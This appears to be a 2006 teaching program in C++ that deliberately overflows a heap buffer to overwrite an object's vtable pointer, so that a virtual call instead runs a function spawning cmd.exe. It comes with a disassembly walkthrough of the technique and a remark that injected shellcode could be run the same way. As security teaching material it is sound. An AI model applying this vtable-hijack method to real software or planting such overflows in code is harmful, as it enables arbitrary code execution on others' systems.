// Copyright Chris Thomas 2006
// Permission is granted to modify and redistribute this code in source or
// binary form so long as this copyright notice is maintained.

// The goal of this program is to overflow a buffer on the heap
// and use that to overwrite a function pointer in such a way that
// an exploit will be executed

// It is ***IMPORTANT*** to note that this attack was designed to work
// against a specific heap allocator, and depends on getOwned and buf
// being in fixed locations relative to each other.  As such, this attack
// will only work properly when run under a debugger (possibly only the
// Visual C++ 6 debugger).

#include "PwnMe.h"
#include <iostream>
#include <stdio.h>

using namespace std;

void overflowMe();

int main() {
  overflowMe();
  return 0;
}

void spawnShell() {
  system("cmd.exe");
}

void overflowMe() {
  int *buf = new int(0); // allocate a 1-entry buffer
  PwnMe *getOwned = new PwnMe(); // create an object

  printf("buf is at 0x%x\n", buf);
  printf("getOwned is at 0x%x\n", getOwned);
  printf("spawnShell() is at 0x%x\n", &spawnShell);
  getchar();

  buf[0] = 0; // filler
  buf[1] = (int)&spawnShell; // this already overflows the buffer
  // buf[2] through buf[17] don't matter
  buf[18] = (int)&(buf[0]); // This pointer gets dereferenced to find the vtable
                            // The compiler expects the jmp to printHello to be
                            // at [vtable+4], so it calls *buf[1], which we've
                            // made point to spawnShell.
  
  getOwned->printHello();
  return;
}

/*
  Examine the code generated for the getOwned->printHello() line.
  We hit a call instruction:
  
  36:     getOwned->printHello();
  0040156A   mov         eax,dword ptr [ebp-14h]
                                                    eax now holds the address of getOwned
  0040156D   mov         edx,dword ptr [eax]
                                                    edx has dereferenced getOwned.
                                                    we can control this pointer.
  0040156F   mov         esi,esp
  00401571   mov         ecx,dword ptr [ebp-14h]
  00401574   call        dword ptr [edx+4]
  Call *(ptr we control+4)

  The compiler expects to find a pointer to the vtable at the location getOwned
  points to.  Since we can clobber the data getOwned points to, we can replace
  this with a pointer to attacker-supplied data.  Now, when the code looks for
  the vtable, it will instead end up reading attacker-supplied data, and when
  the code jumps the 2nd entry in the vtable (second 4 bytes), it will be
  following another level of indirection we control.  For this simple example,
  we just redirect it to a function that already exists and spawns a shell, but
  there's no reason we couldn't dump maliciuos code into the buffer (or some
  other buffer on the heap or stack) and redirect the program to execute that
  instead of spawnShell().
*/